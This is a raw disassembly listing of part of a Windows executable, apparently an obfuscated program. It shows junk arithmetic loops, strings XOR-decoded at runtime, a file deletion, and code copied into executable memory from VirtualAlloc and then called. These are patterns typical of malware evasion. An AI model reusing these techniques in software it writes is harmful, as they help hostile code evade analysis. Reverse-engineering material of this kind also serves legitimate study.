mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1210]
call fcn.140002860
lea rdx, [rsp + 0xa28]
lea rcx, [rsp + 0x1210]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0x1210]
call fcn.1400161d0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0xf00], 0
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
mov ebx, eax
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xf00]
call fcn.140002960
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140011880
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
test eax, eax
jne 0x1400118a1
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
jmp 0x1400118ac
call fcn.140017450
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, r12d
cmp edi, 5
jge 0x140011962
mov ebx, r12d
nop
cmp ebx, 5
jge 0x14001195b
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0xf28]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rsp + 0x8ed0]
lea rcx, [rsp + 0x1110]
call fcn.140017690
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x8ed0]
test bl, 1
jne 0x140011932
lea rcx, [rsp + 0xf28]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
inc ebx
jmp 0x1400118c0
lea rcx, [rsp + 0x1110]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm14
divsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
inc ebx
jmp 0x1400118c0
inc edi
jmp 0x1400118b3
lea rcx, [rsp + 0x1210]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x14d0]
call fcn.140016730
inc esi
jmp 0x1400115d2
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xff8]
call fcn.1400160c0
lea rdx, [rsp + 0x12c]
lea rcx, [rsp + 0x71]
call fcn.140015070
mov r14, rax
movzx eax, byte [rax + 1]
test al, al
je 0x1400119bc
xor byte [r14], 0x40
xor al, 0x42
mov byte [r14 + 1], al
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x72]
call fcn.140015060
mov rsi, rax
movzx eax, byte [rax + 1]
test al, al
je 0x1400119e1
xor byte [rsi], 0x40
xor al, 0x42
mov byte [rsi + 1], al
lea rdx, [rsp + 0x134]
lea rcx, [rsp + 0x73]
call fcn.140015060
mov rdi, rax
movzx eax, byte [rax + 1]
test al, al
je 0x140011a06
xor byte [rdi], 0x40
xor al, 0x42
mov byte [rdi + 1], al
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x74]
call fcn.140015060
mov rbx, rax
movzx eax, byte [rax + 1]
test al, al
je 0x140011a2b
xor byte [rbx], 0x40
xor al, 0x42
mov byte [rbx + 1], al
lea rdx, [rsp + 0x13c]
lea rcx, [rsp + 0x75]
call fcn.140015060
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140011a4e
xor byte [rax], 0x40
xor cl, 0x42
mov byte [rax + 1], cl
mov r8, rax
lea rdx, [0x1400306f8]
lea rcx, [rsp + 0xbe0]
call fcn.1400172b0
nop
lea r8, [0x140030718]
mov rdx, rax
lea rcx, [rsp + 0xc00]
call fcn.1400173f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xe50]
call fcn.140017320
nop
lea r8, [rsp + 0x1440]
mov rdx, rax
lea rcx, [rsp + 0xb80]
call fcn.1400173f0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xc20]
call fcn.140017320
nop
lea r8, [0x140030738]
mov rdx, rax
lea rcx, [rsp + 0xc80]
call fcn.1400173f0
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0xca0]
call fcn.140017320
nop
mov r8, r14
mov rdx, rax
lea rcx, [rsp + 0x1480]
call fcn.140017320
nop
lea rcx, [rsp + 0xca0]
call fcn.140016730
nop
lea rcx, [rsp + 0xc80]
call fcn.140016730
nop
lea rcx, [rsp + 0xc20]
call fcn.140016730
nop
lea rcx, [rsp + 0xb80]
call fcn.140016730
nop
lea rcx, [rsp + 0xe50]
call fcn.140016730
nop
lea rcx, [rsp + 0xc00]
call fcn.140016730
nop
lea rcx, [rsp + 0xbe0]
call fcn.140016730
lea rcx, [rsp + 0xf30]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rsp + 0xa260]
call fcn.140016170
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rsp + 0xf08]
call fcn.1400162b0
movaps xmm2, xmm15
movsd xmm7, qword [0x1400253c8]
movaps xmm1, xmm7
lea rcx, [rsp + 0x1100]
call fcn.140016160
mov dword [rsp + 0x30], r12d
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x13c8]
call fcn.140001ae0
mov dword [rsp + 0x160], 0x64
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0xa38]
call fcn.140017520
mov r8, rax
lea rdx, [rsp + 0x13c8]
lea rcx, [rsp + 0x13d0]
call fcn.140017530
mov edx, 0x18
lea rcx, [rsp + 0x1010]
call fcn.140002990
lea rcx, [rsp + 0x1010]
call fcn.140016030
nop
lea rcx, [rsp + 0x3a8]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x368]
call fcn.140017580
nop
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x368]
call fcn.140016050
nop
lea rcx, [rsp + 0x3a8]
call fcn.140016050
lea rcx, [rsp + 0x3b0]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.140017580
nop
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x370]
call fcn.140016050
nop
lea rcx, [rsp + 0x3b0]
call fcn.140016050
lea rcx, [rsp + 0x3b8]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x378]
call fcn.140017580
nop
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x378]
call fcn.140016050
nop
lea rcx, [rsp + 0x3b8]
call fcn.140016050
lea rcx, [rsp + 0x3c0]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140017580
nop
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x380]
call fcn.140016050
nop
lea rcx, [rsp + 0x3c0]
call fcn.140016050
lea rcx, [rsp + 0x3c8]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x388]
call fcn.140017580
nop
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x388]
call fcn.140016050
nop
lea rcx, [rsp + 0x3c8]
call fcn.140016050
lea rcx, [rsp + 0x3d0]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x390]
call fcn.140017580
nop
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x1010]
call fcn.140016090
nop
lea rcx, [rsp + 0x390]
call fcn.140016050
nop
lea rcx, [rsp + 0x3d0]
call fcn.140016050
nop word [rax + rax]
lea rcx, [rsp + 0xa40]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x13d0]
call fcn.140002930
xor edx, edx
movzx ecx, al
call fcn.140001ad0
test al, al
je 0x1400121f4
mov esi, r12d
cmp esi, 0x186a0
jge 0x140011e10
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
movsxd rbx, eax
lea rcx, [rsp + 0x1010]
call fcn.140016080
mov rcx, rax
mov rax, rbx
xor edx, edx
div rcx
movsxd rdx, edx
lea rcx, [rsp + 0x1010]
call fcn.140016070
mov rcx, rax
call fcn.140015f20
mov rbx, rax
mov rcx, qword [rax]
mov rdi, qword [rcx + 8]
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x1100]
call fcn.140017690
movaps xmm6, xmm0
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x1100]
call fcn.140017690
movaps xmm1, xmm6
call fcn.1400027e0
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x1100]
call fcn.140017690
movsd xmm6, qword [rsp + 0x38]
mov edx, 3
call fcn.140017710
subsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x1100]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x14f0]
call fcn.1400167d0
nop
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x14f0]
call fcn.140002750
mov edx, 0x18
lea rcx, [rsp + 0x11f8]
call fcn.140002990
lea rcx, [rsp + 0x76]
call fcn.1400162a0
mov r8, rax
mov edx, 0x64
lea rcx, [rsp + 0x11f8]
call fcn.140016240
nop
lea r8, [rsp + 0xa260]
lea rdx, [rsp + 0xf08]
lea rcx, [rsp + 0xd60]
call fcn.140002950
movups xmm6, xmmword [rax]
lea rdx, [rsp + 0xa48]
lea rcx, [rsp + 0x11f8]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa50]
lea rcx, [rsp + 0x11f8]
call fcn.1400161d0
movaps xmmword [rsp + 0x8c0], xmm6
lea r8, [rsp + 0x8c0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x11f8]
call fcn.140002860
lea rdx, [rsp + 0xa58]
lea rcx, [rsp + 0x11f8]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa60]
lea rcx, [rsp + 0x11f8]
call fcn.1400161d0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0xf01], 0
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
mov ebx, eax
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xf01]
call fcn.140002960
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400120f0
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
test eax, eax
jne 0x140012111
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
jmp 0x14001211c
call fcn.140017450
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, r12d
cmp edi, 5
jge 0x1400121d2
mov ebx, r12d
nop
cmp ebx, 5
jge 0x1400121cb
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0xf08]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rsp + 0xa260]
lea rcx, [rsp + 0x1100]
call fcn.140017690
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xa260]
test bl, 1
jne 0x1400121a2
lea rcx, [rsp + 0xf08]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
inc ebx
jmp 0x140012130
lea rcx, [rsp + 0x1100]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm14
divsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
inc ebx
jmp 0x140012130
inc edi
jmp 0x140012123
lea rcx, [rsp + 0x11f8]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x14f0]
call fcn.140016730
inc esi
jmp 0x140011e42
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0x1010]
call fcn.1400160c0
xor r8d, r8d
lea rdx, [rsp + 0x1400]
lea rcx, [rsp + 0xb08]
call fcn.140017e90
nop
lea rcx, [rsp + 0xb08]
call fcn.1400036c0
movzx ebx, al
lea rcx, [rsp + 0xb08]
call fcn.140002b30
test bl, bl
je 0x140012255
lea rcx, [rsp + 0x1400]
call fcn.140016570
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0xa68]
call fcn.140015f00
mov rbx, rax
mov dword [rsp + 0x164], 0x12c
mov edx, 0x18
lea rcx, [rsp + 0x14a0]
call fcn.140002990
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x14a0]
call fcn.1400029a0
nop
mov ecx, r12d
mov rax, qword [0x14002e440]
lea rdi, [0x140017c50]
test rax, rax
je 0x1400122e1
mov rdx, r12
cmp rax, rdi
je 0x1400122d0
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2e440]
test rax, rax
jne 0x1400122b8
jmp 0x1400122e1
mov r8, qword [r13 + rdx*8 + 0x2f750]
test r8, r8
jne 0x1400123cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012308
mov r8, r12
jmp 0x1400123ae
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [r13 + rax*8 + 0x2e440], rdi
mov qword [r13 + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
lea rdx, [rsp + 0x164]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rsp + 0x14a0]
call fcn.1400029d0
lea rcx, [rsp + 0xf34]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rsp + 0xb5f0]
call fcn.140016170
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rsp + 0xf20]
call fcn.1400162b0
movaps xmm2, xmm15
movaps xmm1, xmm7
lea rcx, [rsp + 0x10c0]
call fcn.140016160
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x13e0]
call fcn.140001ae0
mov dword [rsp + 0x168], 0x64
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xa70]
call fcn.140017520
mov r8, rax
lea rdx, [rsp + 0x13e0]
lea rcx, [rsp + 0x1380]
call fcn.140017530
mov edx, 0x18
lea rcx, [rsp + 0x1028]
call fcn.140002990
lea rcx, [rsp + 0x1028]
call fcn.140016030
nop
lea rcx, [rsp + 0x3d8]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.140017580
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x188]
call fcn.140016050
nop
lea rcx, [rsp + 0x3d8]
call fcn.140016050
lea rcx, [rsp + 0x3e0]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.140017580
nop
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x190]
call fcn.140016050
nop
lea rcx, [rsp + 0x3e0]
call fcn.140016050
lea rcx, [rsp + 0x3e8]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.140017580
nop
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x198]
call fcn.140016050
nop
lea rcx, [rsp + 0x3e8]
call fcn.140016050
lea rcx, [rsp + 0x3f0]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x1a0]
call fcn.140016050
nop
lea rcx, [rsp + 0x3f0]
call fcn.140016050
lea rcx, [rsp + 0x3f8]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x1a8]
call fcn.140017580
nop
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x1a8]
call fcn.140016050
nop
lea rcx, [rsp + 0x3f8]
call fcn.140016050
lea rcx, [rsp + 0x400]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140017580
nop
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1028]
call fcn.140016090
nop
lea rcx, [rsp + 0x1b0]
call fcn.140016050
nop
lea rcx, [rsp + 0x400]
call fcn.140016050
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0xa78]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x1380]
call fcn.140002930
xor edx, edx
movzx ecx, al
call fcn.140001ad0
test al, al
je 0x140012a74
mov esi, r12d
cmp esi, 0x186a0
jge 0x140012690
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
movsxd rbx, eax
lea rcx, [rsp + 0x1028]
call fcn.140016080
mov rcx, rax
mov rax, rbx
xor edx, edx
div rcx
movsxd rdx, edx
lea rcx, [rsp + 0x1028]
call fcn.140016070
mov rcx, rax
call fcn.140015f20
mov rbx, rax
mov rcx, qword [rax]
mov rdi, qword [rcx + 8]
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x10c0]
call fcn.140017690
movaps xmm6, xmm0
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x10c0]
call fcn.140017690
movaps xmm1, xmm6
call fcn.1400027e0
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x10c0]
call fcn.140017690
movsd xmm6, qword [rsp + 0x38]
mov edx, 3
call fcn.140017710
subsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x10c0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1530]
call fcn.1400167d0
nop
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x1530]
call fcn.140002750
mov edx, 0x18
lea rcx, [rsp + 0x11e0]
call fcn.140002990
lea rcx, [rsp + 0x77]
call fcn.1400162a0
mov r8, rax
mov edx, 0x64
lea rcx, [rsp + 0x11e0]
call fcn.140016240
nop
lea r8, [rsp + 0xb5f0]
lea rdx, [rsp + 0xf20]
lea rcx, [rsp + 0xd50]
call fcn.140002950
movups xmm6, xmmword [rax]
lea rdx, [rsp + 0xa80]
lea rcx, [rsp + 0x11e0]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa88]
lea rcx, [rsp + 0x11e0]
call fcn.1400161d0
movaps xmmword [rsp + 0xa00], xmm6
lea r8, [rsp + 0xa00]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x11e0]
call fcn.140002860
lea rdx, [rsp + 0xa90]
lea rcx, [rsp + 0x11e0]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0xa98]
lea rcx, [rsp + 0x11e0]
call fcn.1400161d0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0xf02], 0
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
mov ebx, eax
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
mov r8d, ebx
mov edx, eax
lea rcx, [rsp + 0xf02]
call fcn.140002960
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140012970
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
test eax, eax
jne 0x140012991
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
jmp 0x14001299c
call fcn.140017450
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, r12d
cmp edi, 5
jge 0x140012a52
mov ebx, r12d
nop
cmp ebx, 5
jge 0x140012a4b
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0xf20]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rsp + 0xb5f0]
lea rcx, [rsp + 0x10c0]
call fcn.140017690
addsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0xb5f0]
test bl, 1
jne 0x140012a22
lea rcx, [rsp + 0xf20]
call fcn.140017450
mov ecx, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
inc ebx
jmp 0x1400129b0
lea rcx, [rsp + 0x10c0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm14
divsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
inc ebx
jmp 0x1400129b0
inc edi
jmp 0x1400129a3
lea rcx, [rsp + 0x11e0]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1530]
call fcn.140016730
inc esi
jmp 0x1400126c2
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0x1028]
call fcn.1400160c0
mov edx, 0x18
lea rcx, [rsp + 0x1388]
call fcn.140002990
lea rcx, [rsp + 0x1388]
call fcn.140016030
nop
lea rdx, [rsp + 0xeb0]
lea rcx, [rsp + 0x78]
call fcn.1400150a0
mov rbx, rax
mov r14d, dword [0x14002c018]
cmp byte [rax + 0x10], 0
je 0x140012d66
mov r9d, r12d
cmp r14d, 2
jl 0x140012d01
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
mov r12d, 6
movd xmm10, r12d
movdqa xmm7, xmmword [0x140025470]
mov eax, 4
movd xmm11, eax
movdqa xmm12, xmmword [0x140025410]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140025480]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0xa0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140012b40
cmp r9d, 0x11
jge 0x140012d6c
jmp 0x140012d07
mov r12d, 6
movsxd r10, r9d
add r10, rbx
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x140012d10
jmp 0x140012d6c
mov r12d, 6
lea rdx, [rsp + 0xab8]
lea rcx, [rsp + 0x79]
call fcn.140015080
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140012dab
xor byte [rax], 0x40
xor byte [rax + 1], 0x42
xor byte [rax + 2], 0x44
xor byte [rax + 3], 0x46
xor byte [rax + 4], 0x48
xor byte [rax + 5], 0x4a
xor byte [rax + 6], 0x4c
xor byte [rax + 7], 0x4e
